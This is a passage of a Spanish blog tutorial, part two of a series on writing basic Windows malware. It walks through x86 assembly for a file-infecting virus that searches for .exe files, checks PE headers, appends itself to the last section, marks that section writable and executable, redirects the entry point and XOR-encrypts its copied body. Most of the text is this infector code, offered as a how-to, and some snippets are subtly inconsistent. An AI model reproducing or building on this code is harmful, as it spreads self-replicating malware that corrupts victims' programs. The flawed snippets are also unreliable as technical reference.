Ir al contenido principal

Desarrollo de Malware Básico en Windows (parte 2)

Desarrollo de Malware Básico en Windows (parte 2)

 Buenas de nuevo, en esta entrada continuaremos (y cerraremos) el capítulo de desarrollo básico de malware en Windows.

En la entrada anterior, ya teníamos guardadas las APIs que íbamos a necesitar para nuestra infección, así que ahora nos ponemos con el proceso de infección en sí.


Pasos para la infección:

1)Necesitamos obtener el handler de los ficheros que hayamos indicado en la variable "mascara" (.exe) , en este caso ejecutables                                                                        

2)Haremos uso de las APIs FindFirstFileA y FindNextFileA, para buscar los archivos que queremos infectar, con las APIs GetWindowsDirectory(C:\WINDOWS) y GetSystemDirectory tendremos acceso a 2 rutas distintas(“C:\WINDOWS\SYSTEM”), con la API SetCurrentDirectory haríamos el cambio de escritorio al escritorio donde estarán los ficheros que queramos infectar.

Durante la explicación del código añadiremos el prototipo definido por la MSDN para que sea más fácil la visualización del código.                    

                                                                                                                                                                                              

;HANDLE FindFirstFileA(                                                                                                                                                                       

;  LPCSTR             lpFileName, -->Nombre del archivo a buscar (acepta asteriscos *.exe)                                                                                                    

;  LPWIN32_FIND_DATAA lpFindFileData -->Estructura que recibe la información del archivo                                                                                                    

;);                                                                                                                                                                                           




###########################################################################                 mov         [ebp + archivosInfec], 1              ; inicia el contador de archivos infectados                                                                                             

    lea         edx, [ebp + offset win32_find_data]; Variable definida del tipo LPWIN32_FIND_DATAA, tal y como indica la MSDN                                                                                                                      

       lea         ebx, [ebp + offset mascara] ; donde le indicamos *.exe                                                                                                                                                    

    push      edx ;lpFindFileData                                                                                                                                                           

   push       ebx;lpFilename                                 

   call        [ebp + offset zFindFirst]             ; busca el primer archivo                                                                                                                

###########################################################################

En el caso de no encontrar nada, esta función nos devolverá el valor -1 (que corresponde a INVALID_HANDLE_VALUE), sino en EAX tendremos un handler que luego deberemos usar para usar en FindNextFileA, para buscar más archivos de este tipo(exe).

Además, para que nuestro programa no caiga en bugs inesperados es importante cuando terminemos con el archivo cerrar ese handler con la función findclose()          


###########################################################################

    cmp         eax, -1                                      ; error o no encontró nada                                                                                                       

    je        volverHost                                                                                                                                                                                                                    

    mov         dword ptr [ebp + offset handleBusq], eax       ; guardamos el handle                                                                                                           

    call        infectar     ;Subrutina de infección.                                                                                                                                                                                                                                                                                                               

 buscaVictima:                                                                                                                                                                                 

           lea         edx, [ebp + offset win32_find_data]          

    mov         ebx, [ebp + offset handleBusq]               

    push        edx ; lpFindFileData estructura donde se guarda la información del archivos                                                                                                                                                                    

        push     ebx                                                                                                                                                                                                                                           

    call        [ebp + offset zFindNext] ; busca el próximo archivo  

    cmp         eax, 0       ; error en este caso el error es 0 o no encontró nada                                                                                                                                                                    

    je  volverHost                                                                                                                                                                                                                        

    call        infectar                                                                                           

   add        [ebp + archivosInfec], 1                                   

   cmp         [ebp + archivosInfec], maxInfecciones   

Comparamos el numero de archivos infectados con Max_infecciones una variable con el que indicamos el numero de archivos que queremos infectar (3) .                                                                             

    jbe         buscaVictima                              ; buscamos el próximo archivo si es menor o igual  a 3 el numero de ficheros infectados.                                                                                                                               

    jmp         volverHost                                                                                                     

volverHost:                                                                                                                                                                                                                                                   ###########################################################################

A partir de aquí la infección se habría hecho (falta explicar la subrutina infección) y solo quedaría saltar al funcionamiento normal del programa, en el loader mostramos un mensaje por pantalla con la API MessageBoxA, en los ejecutables que infectemos, tendremos que saltar a OEP(original entrypoint).

###########################################################################

      cmp ebp, 0h     ; Check if delta offset vale 0 y que es la primera muestra que estamos ejecutando (2 bytes opcodes)                                                                                                                              
    je  host        ;En el caso de que sea la primera muestra, saltamos al popup del mensaje, ( 7 byte)                           

###########################################################################

En el caso de alguno de los archivos infectados queremos saltar al entrypoint original, esto lo haremos con un push OEP + RET para saltar a esta dirección, el tamaño de cada una de las instrucciones lo nesitaremos en la rutina de infección para colocar el OEP                                                                                                                                                                   

###########################################################################

                                                                                      

    popfd       ;1 byte                                                                                                                                                                                                                                   

    popad       ; 1byte                                                                                                                                                                                                                                      

 ;opcode push = 68 (1 byte)                                                                                                                                                                              

    db     68h,0,0,0,0                              ; Opcode que simula un push word [address_of_original_entry_point] ; -->  Los valores que ponemos con 0 los sobreescribiremos con el valor de el OEP que se calculará en runtime 

    ret ;Simulamos este ret para saltar a la dirección del orginal entrypoint.                                                                                                                                                                                                                                                                                                                  ###########################################################################

   Arrancamos ahora con la subrutina de infección   de archivos ejecutables, vamos a intentar ir detallándola paso a paso.                                                                        

 Lo primero que hacemos es actualizar tamaño del valor de fichero + virus de cada uno de los que vayamos a infectar: 

  mov     edi, longVirus                                 ; edi = longitud del virus                                        

  add      edi, [ebp + offset win32_find_data.WFD_nFileSizeLow] ; WFD_nfileSizeLow es el tamaño del archivo                

  mov     [ebp + offset longVirusHost], edi     ; guardamos el tamaño total (virus + host)                                                                                                                                                                         

  ###########################################################################             

Ahora comenzamos con el mapeo del archivo en memoria (CreateFileA) pasándole el nombre del archivo .                                                                                                                                                                                                                               

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

  ###########################################################################             

    push    0                                     ; hTemplateFile, normalmente si usamos el createFile va = 0                                                                                     

    push    0                                     ; dwFlagsAndAttributes --> atributos del archivo: archive, normal, sistema, etc.                                             

    push    3                                     ; 3 = OPEN_EXISTING o sea que si existe lo abrimos                                                                                               

    push    0                                     ; Si es =0 ningún proceso hijo podrá hacer uso de este.                                                                                        

    push    1                                     ; dwShareMode --> abrir en modo compartido (1 = FILE_SHARE_READ)                                                                                

    push    0C0000000h                            ; dwDesiredAccess -->  modo de acceso (read-write) -->https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format                

    lea       ebx, [ebp + offset win32_find_data.WFD_szFileName]  ; nombre del archivo                                                                                                            

    push    ebx                                                  

  call      [ebp + offset zCreateFile]                                                                                      Comprobamos si hubo algún error en la llamada a CreateFile --> devuelve -1 en caso de error.                                                                                                                                                                       

         cmp     eax, -1                               ; si hubo un error al abrir el archivo eax devuelve -1                                                                                          

    je        salirInfeccion                                                                                                                                                                      

    mov     dword ptr [ebp + offset handleCreate], eax  ; guardamos el handle del archivo                                                                                                       

  ###########################################################################             

   Ahora vamos a crear el objeto de mapeo con la función "CreateFileMappingA" 

HANDLE CreateFileMappingA(

  HANDLE                hFile,

  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,

  DWORD                 flProtect,

  DWORD                 dwMaximumSizeHigh,

  DWORD                 dwMaximumSizeLow,

  LPCSTR                lpName

);                                                                                                                                                                                                                                                             ###########################################################################             

    push    0                                                 ; lpName --> creamos el objeto sin nombre                                                                                                   

    push    [ebp + offset win32_find_data.WFD_nFileSizeLow]   ; tamaño del archivo                                                                                                                        

    push    0                                                                                                                                                                                              

    push    04h                                             ; 4h = PAGE_READWRITE: lectura y escritura -->para ello el handle ha debido de ser creado con los permisos de acceso GENERIC_READ and GENERIC_WRITE.    

    push    0                                                                                                                                                                                             

    push    [ebp + offset handleCreate]          ; utilizamos el handle devuelto por CreateFileA                                                                                                          

    call      [ebp + offset zCreateFileM]       ;llamamos a la función CreateFileMappingA                                                                                                                                                                                                                                                                                                                                                                                           

Comprobamos si hubo algún error en la llamada a CreateFileMappingA  --> devuelve 0 en caso de error                                                                                                  

    cmp     eax, 0                                         ; si hubo un error eax devuelve 0                                                                                                              

    je        cerrarArchivo                               ; lo cerramos y salimos                                                                                                                         

  mov     [ebp + offset handleMem], eax     ; sino, guardamos el handle en una variable                                                                                                                 

  ###########################################################################                                                                                                                                                                                                                                                                                                                                       El último paso es cargar los datos en memoria para ello haremos uso de la función MapViewOfFile que mapea el fichero a la dirección del proceso que la está llamando.         

LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD  dwDesiredAccess,
  DWORD  dwFileOffsetHigh,
  DWORD  dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
);  

     push    [ebp + offset win32_find_data.WFD_nFileSizeLow]  ; dwNumberOfBytesToMap --> tamaño del archivo                                                                                          

    push    0                                                ;dwFileOffsetLow --> 0                                                                                                                

    push    0                                               ;dwFileOffsetHigh --> 0                                                                                                                

    push    000F001Fh                                    ; modo de acceso (acceso completo)                                                                                                       

    push    [ebp + offset handleMem]              ; handle devuelto por CreateFileMappingA                                                                                                        

    call      [ebp + offset zMapViewOfFile]             ;Llamamos a la función                                                                                                                                                                             

Comprobamos si hubo algun error en la llamada a MapViewOfFile -->devuelve 0 en caso de error                                                                                                  

    cmp     eax, 0                                           ; si hubo un error eax devuelve 0                                                                                                     

    je        cierraMapeo                                                                                                                                                                          

    mov    [ebp + offset inicioHostMem], eax    ; salvo el inicio del archivo mapeado                                                                                                                                                                                                                                                           ###########################################################################                                                                                                                                                                                       
En eax tenemos la posición de memoria donde comienza nuestro archivo mapeado, y podemos aplicar cambios , sin embargo estos cambios no se aplicaran en disco hasta que no cerremos los handles.
Ya tenemos en inicioHostMem la dirección en memoria del archivo, ahora empezamos con la comprobaciones del fichero para ver si lo vamos  a infectar                                                 

1) Contiene la cabecera MZ:                                                                                   
 

mov     eax, [ebp + offset inicioHostMem]                                                                 

cmp     word ptr [eax], "ZM" ;Al pasar los valores de memoria a el registro quedan invertidos.                

jne       desmapearArchivo                                                                                     

2) Comprobación de la cabecera PE:                                                                                             

                                                                                                                                

add      eax, 03Ch                                    ; nos movemos 3Ch lugares del inicio MZ                               

mov     ebx, [eax]                                    ; obtengo la dirección relativa donde se encontrara la cabecera PE       

add      ebx, [ebp + offset inicioHostMem]            ; le sumo la dirección de inicio del mapeo (dirección BASE)              

cmp     word ptr [ebx], "EP"                          ; ahora lo comparamos con 'PE'                                        

jne       desmapearArchivo                                                                                                                                                            

3) Comprobación de que el tamaño de la cabecera opcional                                       

mov        [ebp + offset hostPE], ebx      ; salvo la dirección de inicio de la cabecera PE                

add         ebx, 14h                            ;SizeOfOptionalHeader                                       

movzx     eax, word ptr [ebx]                ; obtengo el tamaño (ojo, es un word)                          

;comprobamos que el tamaño sea != 0                                                                        

cmp        word ptr [ebx], 0                    ; si el tamaño es cero, error                                

je           desmapearArchivo                                                                               


4) Comprobación de que se trata de un archivo .EXE:

mov      ebx, [ebp + offset hostPE] 

add       ebx, 16h                              ; nos desplazamos 16h del inicio del PE --> campo characteristics --> características: 0 - Imagen del Programa      2 - EXE     200 - Dirección fijada     2000 - Librería                          

mov      ax, word     ptr [ebx]                 ; obtengo en ax la bandera (ojo, es un word)                                                                                                                                                   

and       ax, 0002h                             ; debemos hacer un and con 02h                                                                                                                                                                  

jz          desmapearArchivo                                                                                                                                                                                                    

5)Comprobación de si el archivo ha sido infectado:

En esto archivos se ha añadido la cabecera  "zero" en la parte 4C machacando la cabecera MSDOS que no se usa y poniendo lo que queremos.                                                                                    

mov     ebx, [ebp + offset hostPE]                                                                                                                                                 

cmp     dword ptr [ebx + 04Ch], "zero"                                                                                                                                        

je        desmapearArchivo                                                                                                                                                                    ###########################################################################

Una vez que comprobamos que el archivo cumple las condiciones anteriores, incorementamos la cantidad de archivos infectados.

   inc     [ebp + offset archivosInfec]                  ; incrementa la cantidad de archivos infectados  


Si ha pasado todas estas comprobaciones entonces hacemos lo siguiente (desmapear el ejecutable y volver a mapearlo con el tamaño de Virus+host). Hay que tener en cuenta los alineamientos del archivo para que todo funcione correctamente, el alineamiento de las secciones en memoria viene marcado por SectionAlignment, el alineamiento de sección en la plataforma x86 no puede ser menor al tamaño de una página, generalmente 4096 bytes (1000h), y debe ser un múltiplo de este valor.           

El alineamiento de archivo en disco viene marcado por FileAlignment, la dirección de los datos de cada sección en el disco deberán ser múltiplos de este valor, un valor común es 200h (512b), y se cree que es para asegurar que comienza al inicio de un sector del disco.                                                                                          

El tamaño real que ocupan los datos de cada sección está dado por el campo VirtualSize, por lo que, si restamos al SizeOfRawData el VirtualSize, nos dará el tamaño de un hueco llenos de cero dentro del archivo ejecutable, lo cual puede servir para aplicar la técnica : “cavity”.  

Obtenemos los campos (FileAlignment y SectionAlignment),                                               

mov       ebx, [ebp + offset hostPE]                ; dirección de la cabecera PE del host                                                                                   

add        ebx, 03Ch                                       ; RVA del FileAlignment sobre la PE                                                                                

mov       edx, [ebx]                                       ; edx = alineamiento del archivo en disco                                                                          

mov       [ebp + offset AlineamArchivo], edx    ; lo guardamos                                               

mov       ebx, [ebp + offset hostPE]                ; dirección de la cabecera PE del host                                                                                     

add        ebx, 038h              ; RVA del SectionAlignment sobre la de PE                                                                         

mov       edx, [ebx]               ; edx = alineamiento del archivo en disco                                                                         

mov       [ebp + offset AlineamSeccion], edx    ; lo guardamos                                                                                                                                                                                                                                                                                    

El próximo paso es desmapear el archivo que tenemos en memoria, con las APIs UnmapViewOfFile y CloseHandle:

                                             

push      [ebp + offset inicioHostMem]       

call        [ebp + offset zUViewOfFile]                     

push      [ebp + offset handleMem]           

call        [ebp + offset zCloseHandle]      


Lo siguiente es hacer las correcciones 
de las alineaciones de memoria                                                                                                                             

mov     ebx, [ebp + offset AlineamArchivo]       ;ebc =tamaño de sección                                                              

 mov     eax, [ebp + offset longVirusHost]       ; tamaño del archivo + el virus variable que habíamos calculador anteriormente        

 xor       edx, edx                                          ; edx = 0 para realizar la división                                       

 div       ebx                                                  ; dividimos por el alineamiento                                        

                                                                                                                                         

 cmp     edx, 0                                              ; en edx queda el resto de la división -->eax= cociente edx=resto         

 je        no_incrementa                                  ;si el resto no es 0 hay que aumentar en 1 el tamaño del alineamiento       

 inc       eax                                               ; si el resto es distinto de 0 le suma 1                          

no_incrementa:                                               

    mov    edx, [ebp + offset AlineamArchivo]    ; recupero el alineamiento                                                                                                                          

    mul     edx                                                  ; multiplico por el alineamiento eax= edx* eax Si el resultado excediera de 32 bits se guarda en EDX la parte que excede .          

    mov    ebx, eax                                           ; guardamos en ebx el tamaño alineado                                                                                                  

  ###########################################################################


Empezamos ahora con los ajustes en memoria, una vez que tenemos el tamaño del fichero infectado (en disco) y alineado perfectamente, es necesario mapear este en memoria y arreglar el alineamiento de las cabecera y secciones que hayamos modificado.

La que vamos a realizar es muy parecido a lo comentado en la un poco antes en esta entrada, pero ahora lo haremos con el nuevo tamaño del archivo que hemos infectado (archivo infectado + “virus”).

    push    0                                                 ; lpName --> creamos el objeto sin nombre                                                                                                   

    push    ebx   ; tamaño del archivo + parte vírica                                                                                                                     

    push    0                                                                                                                                                                                              

    push    04h                                             ; 4h = PAGE_READWRITE: lectura y escritura -->para ello el handle ha debido de ser creado con los permisos de acceso GENERIC_READ and GENERIC_WRITE.    

    push    0                                                                                                                                                                                             

    push    [ebp + offset handleCreate]          ; utilizamos el handle devuelto por CreateFileA                                                                                                          

    call      [ebp + offset zCreateFileM]       ;llamamos a la función CreateFileMappingA                                                                                                                                                                                                                                                                                                                                                                                           

Comprobamos si hubo algún error en la llamada a CreateFileMappingA  --> devuelve 0 en caso de error                                                                                                  

    cmp     eax, 0                                         ; si hubo un error eax devuelve 0                                                                                                              

    je        cerrarArchivo                               ; lo cerramos y salimos                                                                                                                         

  mov     [ebp + offset handleMem], eax     ; sino, guardamos el handle en una variable    

                                                                                                                                                           El último paso es cargar los datos en memoria para ello haremos uso de la función MapViewOfFile que mapea el fichero a la dirección del proceso que la está llamando.         


LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD  dwDesiredAccess,
  DWORD  dwFileOffsetHigh,
  DWORD  dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
);  

     push    [ebp + ebx]  ; dwNumberOfBytesToMap --> tamaño del archivo a infectar  + virus                                                                                        

    push    0                                                ;dwFileOffsetLow --> 0                                                                                                                

    push    0                                               ;dwFileOffsetHigh --> 0                                                                                                                

    push    000F001Fh                                    ; modo de acceso (acceso completo)                                                                                                       

    push    [ebp + offset handleMem]              ; handle devuelto por CreateFileMappingA                                                                                                        

    call      [ebp + offset zMapViewOfFile]             ;Llamamos a la función                                                                                                                                                                             

Comprobamos si hubo algún error en la llamada a MapViewOfFile -->devuelve 0 en caso de error                                                                                                  

    cmp     eax, 0                                           ; si hubo un error eax devuelve 0                                                                                                     

    je        cierraMapeo                                                                                                                                                                          

    mov    [ebp + offset inicioHostMem], eax    ; salvo el inicio del archivo mapeado                                                                                                                                                                                   

  ###########################################################################


   Lo primero marcamos los archivos .exe infectados con la cadena "zero" en la cabecera MSDOS.                                                                                                                                                                                                                                                                                                                                     

    mov     ebx, [ebp + offset hostPE]                                                                                                                                                                    

   mov     dword ptr [ebx + 04Ch], "zero"                                                                                                                                                                


Este virus que estamos desarrollando es de tipo Post-pending por lo que se colocará todo el contenido malicioso en la sección del final del archivo a infectar. Por lo tanto, necesitamos identificar cual la última sección del host (archivo a infectar), esta información se puede ver en la tabla de secciones, se encuentra a continuación de la cabecera PE opcional y que tiene varias entradas (consecutivas), tantas como secciones tenga el programa.    

Vamos a mencionar algunas de las consideraciones que debemos tener en cuenta:

-) Dentro de la cabecera PE tenemos también hay un campo que indica la cantidad de secciones NumberOfSections   que tiene el archivo.

-) Cada una de estas secciones definidas, tiene un optional-header con información de la sección, y que posee un tamaño de 28h.                                                                                                 

-) La sección que te tenga PointerToRawData  más alto se tratara a la última sección, ya que este valor apunta el inicio de la sección en disco.                                                                       

Pasos a seguir para hacer la modificaciones y actualizar la cabecera para que nuestro nuevo archivo funcione correctamente.                                                                                                                                                                                                                                                                                                                                                                                         

1) Buscamos el número de secciones                                                                                                                                                                        

2) Buscamos el tamaño de la sección opcional(varia)                                                                                                                                            

3) Miramos cual es la última sección (pointerToRawData más alto)                                                                                                                                          

4) Añadimos nuestro código maligno a continuación de los datos de esa sección.                                                                                                                                                       

                                                                                                                                                                                                           

    mov     eax, [ebp + offset inicioHostMem]  ; inicio del host mapeado en memoria (dirección base en memoria)                                                                                           

    mov     esi, [eax + 3Ch]                     ; en 3Ch tenemos la dirección del PE (cabecera PE)                                                                                                       

    add      esi, eax                                  ; le sumamos la base ya que es una RVA                                                                                                             

    movzx  ebx, word ptr [esi + 14h]        ; bx = tamaño del Optional Header                                                                                                                             

    movzx  ecx, word ptr [esi + 6h]          ; ecx = PE + 6h (cantidad de secciones)                                                                                                                      

    mov     edx, [esi + 28h]                     ; PE + 28 = dirección del entry point original                                                                                                          

    mov     [ebp + entryPoinOrig], edx      ; edx =Entry poiny lo guardamos en la variable para luego usarlo, cuando lo acabemos de ejecutar nuestro “virus” saltar al comportamiento normal.  

    add      esi, ebx                                 ; Sumamos en memoria el tamaño del optional Header. le sumamos el tamaño de la PE opcional (RVA PE HEADER + BASE ADDRESS + OPTIONAL HEADER)        

    add      esi, 18h                                 ; le sumo 18h (el tamaño del PE Header) que es el tamaño desde la cabecera PE al comienzo de la cabecera del optional header.                      

                                                                                                                                                                                                           

En este punto tenemos en ESI el tamaño de donde empieza nuestra primera cabecera.                                                                                                                            

                                                                                                                                                                                                          

    sub      esi, 28h                                 ; 28h bytes (tamaño de cada sección)                                                                                                                

    xor      eax, eax                                 ; eax lo uso para almacenar el mayor valor                                                                                                         

    xor      ebx, ebx                                 ; ebx va a apuntar al inicio de la sección mayor                                                                                            

                                                                                                                                                                                                           

proximaSeccion:                                                                                                                                                                                           

    add     esi, 28h                                  ; esi = puntero a cada entrada de la tabla                                                                                                          

    movzx edi, word ptr [esi + 14h]                     ; es el offset 14h tengo el PointerToRawData dentro de cada una de las secciones                                                                 

    cmp    edi, eax                                  ; es mayor que el almacenado en eax ( ultima seccion actual)                                                                                                               

    jl         noEsMayor                                                                                                                                                                                  

    mov     eax, edi                                 ; si es mayor, guardo el valor el valor en eax                                                                                                                      

    mov     ebx, esi                                 ; y el puntero a la sección                                                                                                                          

                                                                                                                                                                                                           

noEsMayor:                                                                                                                                                                                                 

    loop    proximaSeccion                      ; decrementa ecx y si es mayor que cero vuelve                                                                                                            

                                                                                                                                                                                                          

Al final de esta rutina eax= offset del archivo donde apunta la sección que se encuentra al final del archivo  y en ebx= posición de memoria donde comienza esa sección.                                                                                                                                                       

Como vamos a añadirle código a esta sección e inicialmente no sabemos si la sección tiene permisos de ejecución (+x) o no, cambiaremos el campo characteristics del malware para darle permisos a esta sección de lectura, escritura y ejecución.                                                                                                                       

Vamos a explicar el valor que ponemos en el campo characteristics  y la explicación del mismo                                                                                                                                                                                                    

         00000020    Contiene código ejecutable                                                                                                  +   20000000    Se puede ejecutar                                                                                                                       40000000    Se puede leer                                                                                                                             80000000    Se puede escribir en la sección                                                                                        

;-------------------------------                                                                        

        E0000020  à con ese valor damos todos los permisos a esa sección                                                                            

    or      dword ptr [esi + 24h], 0E0000020h                                                                                                                                                              


Ya tenemos mapeada en memoria la sección donde vamos a añadir el “virus” con todos los permisos necesarios para su funcionamiento. Seguidamente, vamos a sustituir el valor del entrypoint del archivo para que apunte a nuestro virus.                                                                                                                                                                           

                                                                                                                                                                                                                                         

Ya que tenemos el archivo mapeado en memoria será importante los siguientes valores:

RelativeVirtualAddress( de la seccion) :  RVA de la sección con respecto a la base del host (ubicado en el inicio de la sección + 0Ch)         

SizeOfRawData: tamaño de la sección alineada (ubicado en el inicio de la sección + 10h)                                                                                                                                                

                                                                                                                                                                                                                                        

    mov     esi,  ebx ;En ebx tenemos el inicio de la sección                                                                                                                                                                          

    mov     edx, [esi + 10h]; Obtenemos el RVA

    add      edx, [esi + 0Ch];Le sumamos el tamaño de la sección alineada                                                                                                                                                                                                   

En edx tendremos ahora la dirección donde cargaremos nuestro código malicioso que a su vez será el nuevo entrypoint del archivo infectado, ya que queremos ejecutar primero el contenido malicioso y luego restaurar el comportamiento malicioso del archivo.                                                                            Ahora tenemos que modificar la cabecera, para actualizar el valor del nuevo entrypoint. ahora apuntara a nuestro virus y cuando terminemos debemos de saltar a la direccion del programa que guardamos en la variable OEP              

     mov     eax, [ebp + offset inicioHostMem]    ; eax = inicio del host mapeado en memoria.                                                                                                                                               

     mov     edi, [eax + 3Ch]                             ; edi = dirección del PE header del host                                                                                                                                      

   add      edi, eax                                         ; le sumo la base ya que es una RVA                                                                                                                                      

    mov     [edi + 28h], edx                             ; cambio el valor del EP por el que teníamos en edx.                                                                                                                         

                                                                                                                                                                                                                                         

Ahora comenzamos con las modificaciones en disco, en este caso los valores que debemos considerar serán :                                                                                                                          

;PointerToRawData = offset (desplazamiento) de la sección en disco (lo encontramos en inicio sección + 14h)                                                                                                                              

                                                                              

;SizeOfRawData = tamaño de la sección en disco alineada (lo encontramos en inicio sección + 10h)                                                                                                                                         

                                                                                                                                                                                                               

    mov    ebx, [esi + 10h]              ; en esi tengo el inicio de la sección en memoria  calculamos -->      ebx=tamaño de la sección en disco (SizeOfRawData) .                                                                                                                                                                         

    add     ebx, [esi + 14h]              ; le sumo el valor de PointerToRawData, -->  desplazamiento de la sección en disco                                                                                                            

    add     ebx, [ebp + offset inicioHostMem]    ; le sumo la base ya que es una RVA                                                                                                                                                    

    mov    [ebp + offset UltimaSeccPE], ebx ; lo guardamos en una variable                                                                                                                                                                                                      

   Al llegar a este punto, en ebx y UltimaSeccPE tenemos donde acaba la última sección pero  en  disco, ahora hay que modificar los valores de la sección y tener cuidado con el alineamiento.                                                                                                                                                 

 Debemos de modificar los siguientes parámetros en el archivo infectado:                                                                                                                                                                                            

 VirtualSize: solamente debemos sumarle el tamaño del virus (se encuentra en el inicio de la sección + 08h) este indica el tamaño real si es mayor menor que el alineamiento expandimos hasta el un múltiplo de este         

 SizeOfRawData: tenemos que sumarle el tamaño del virus pero teniendo en cuenta el FileAlignment (se encuentra en el inicio de la sección + 10h), el valor de   SizeOfRawData debe de ser múltiplo de fileAlignment is es mejor que el VirtualSize(tamaño Real exacto).

OJO

Es necesario guardar el valor de SizeOfRawData anterior, ya que luego lo vamos a  utilizar para acomodar el valor de SizeOfImage.                                                                                        

                                                                                                                                                                                                               

    mov     eax, longVirus             ; Pasamos la longitud del virus y la almacenamos en eax.                                                                                                             

    add     [esi + 08h], eax             ; en esi tengo el inicio de la sección en memoria        y en sección + 08h la VirtualSize (ya incrementada)  y le sumamos el tamaño de nuestro virus                                                                                                                                                                                          

    mov     ebx, [esi + 10h]            ; SizeOfRawData antes de modificarla                                                                                                                                  

    mov     [ebp + offset SizeOfRDAnt], ebx     ; la guardamos  en la variable SizeOfRDAnt                                            

    mov     eax, longVirus               ; tamaño del virus                                                                                                                                                   

    add      eax, ebx                       ; le sumo la SizeOfRawData actual y así obtengo el      valor a redondear                                                                                                                                                                                                              

  mov     ebx, [ebp + offset AlineamArchivo]   ; edx=alineam. de las secciones en disco                                                                                                                      

    xor      edx, edx                        ; ponemos edx en cero para realizar la división                                                                                                                  

    div      ebx                               ; dividimos eax/ebx y el cociente en eax por el alineamiento                                                                                                  

    cmp    edx, 0                           ; en edx queda el resto de la división                                                                                                                            

    je       no_incrementaSecc                                                                                                                                                                                

    inc      eax                               ; si el resto es distinto de cero le suma uno, que será el tamaño que pongamos en SizeofRawData.                                                              

                                                                                                                                                                                                              

no_incrementaSecc:                                                                                                     

    mov     edx, [ebp + offset AlineamArchivo]   ; edx=alineam. de las secciones en disco                                                                                                                     

    mul      edx                             ; multiplico por el alineamiento y obtengo así el    tamaño alineado en eax  = eax * edx                                                                                                                          

                                                                                                                                                                                                              

    mov     [ebp + offset SizeOfRDNuevo], eax       ; guardo el nuevo valor de eax en sizeofRawData   (alineado)                                                                                                                                                                                                                                         

    mov     [esi + 10h], eax          ; cambio el valor del SizeOfRawData del host por el nuevo valor obtenido.                                                                                                                                                              

Por último, y como hemos dicho más arriba, vamos a tener que corregir el valor de SizeOfImage, el cual contiene el tamaño total del archivo alineado y representa la memoria que necesita reservar Windows cuando el programa es cargado por el loader de Windows.                                                                                                                        

El nuevo valor de SizeOfImage se puede obtener si al VirtualOffset de la última sección le sumamos el nuevo VirtualSize (original + tamaño del virus) y luego lo alineamos.  El virtualOffset se encuentra en sección + 0Ch y el VirtualSize está en sección + 08h                                                                                                                        

                                                                                                                                                       

    mov     eax, [esi + 08h]                 ; eax = VirtualSize                                                                                                                                               

    add      eax, [esi + 0Ch]                 ; eax = VirtualSize + VirtualOffset                                                                                                                                                       

    mov     ebx, [ebp + offset AlineamSeccion]      ; edx = alineamiento de las secciones en disco

   xor      edx, edx                             ; ponemos edx en cero para realizar la división                                                                                                             

    div       ebx                                    ; dividimos por el alineamiento                                            

    cmp     edx, 0                                ; en edx queda el resto de la división                                                                                                                      

    je        no_incrementaSizeOfI                                                                                                                                                                            

    inc     eax                                     ; si el resto es distinto de cero le suma uno al                   valor obtenido                                                                                                                                                                              

no_incrementaSizeOfI:                                                                                                                                                                                         

    mov     edx, [ebp + offset AlineamSeccion]      ; edx = alineamiento de las secciones    en disco                                                                                              

    mul     edx                                   ; multiplico por el alineamiento y obtengo así el tamaño alineado en eax  = eax * edx.                                                                                                                  

                                                                                                                                                                                                               

    mov     esi, [ebp + offset inicioHostMem]       ; apuntamos al inicio del host mapeado  en memoria                                                                                                                                             

    mov     edi, [esi + 3Ch]                ; edi = dirección del PE header del host                                                                                                                          

      add      edi, esi                            ; le sumo la base ya que es una RVA                                                                                                                                                                                                  

    mov     [edi + 50h], eax               ; guardo la nueva SizeOfImage obtenida                                                                                                                             

     Bien ya tenemos todo listo, ahora vamos a copiar nuestro virus en el espacio creado al final del host original, para ello vamos a hacer uso de estas 2 instrucciones: rep y movsb.                                             

REP: esta instrucción va acompañada de otra y lo que hace es repetir dicho comando tantas veces como lo indique el registro ECX.                                                                                                    

MOVSB: esta instrucción se utiliza de la siguiente forma: MOVSB destino,origen , y nos permite copiar un byte (por eso la B final, también podría ser W para word) desde un origen a un destino                                                                                                 

El origen se lo indicamos con los registros DS:SI (Source Index o índice fuente) y el destino con ES:DI (Destination Index o índice destino).´                                                                                       

Además, después de realizar el movimiento de datos, SI y DI son incrementados para que apunten a la próxima dirección de memoria.                                                                                                      

                                                    

1. ES:[DI] <- DS:[SI] (un byte)                                                                                                                                                                                                     

2. DI <- DI+1                                                                                                                                                                                                                       

3. SI <- SI+1                                                                                                                                                                                               

Registros usados en nuestro programa                                                                                                                                                                                                                                    

•  en esi = origen de la copia                                                                                                                                                                                                       

•  en edi = destino de la copia                                                                                                                                                                                                      

•  en ecx = tamaño del virus                                                                              

Como queremos que el código que copiemos en el archivo infectado esté infectado, necesitamos crear la rutina de cifrado.Para ello lo primero que haremos será llamar a la subrutina que genera la clave                                                          

; Generamos la semilla( 1 caso) y la clave a partir de esta.                                                                                                                                                                                   

    call    generaclave                                                                                                                                                                                                               

    mov     byte ptr [ebp + offset clave], al  ; Almacenamos la clave en la variable que clave. para usarla ahora para cifrar.                                                                                                 

    lea       esi, [ebp + offset iniciovir]    ;dirección de nuestro virus                                                                                                                                                           

    mov     edi, [ebp + offset UltimaSeccPE]   ; Justo donde empezamos a escribir                                                                                                                                                    

    mov     ecx, longVirus                     ; Longitud del virus                                                                                                                                                                  

    mov     ebx, 0                              ; puntero para direccionar la memoria en la copia                                                              

encriptacion:                                                                   

    mov     al, byte ptr [esi + ebx]    ;dirección de nuestro virus en memoria                                                                                                                                                       

     cmp     ebx, tamSinEncrip      ; esta, es la constante que tiene el la diferencia entre el principio y la parte no encriptada, que es la  que se encarga de decrifrar el código

    jb        noEncriptar                                                                                                            

   xor      al, byte ptr [ebp + offset clave;Le hacemos un XOR con 0CCh                                                                                                                                             

                                                                               

noEncriptar:                                                                                                                                                          

    mov     [edi + ebx], al             ;Pasamos el byte a la dirección de la sección                                                                                                                                                

    inc       ebx                      ; Incrementamos ebx                                                                                                                                                                           

    loop    encriptacion ;salta a la etiqueta encriptación y decrementa ecx (hasta que valga 0)                             

;############################################################            

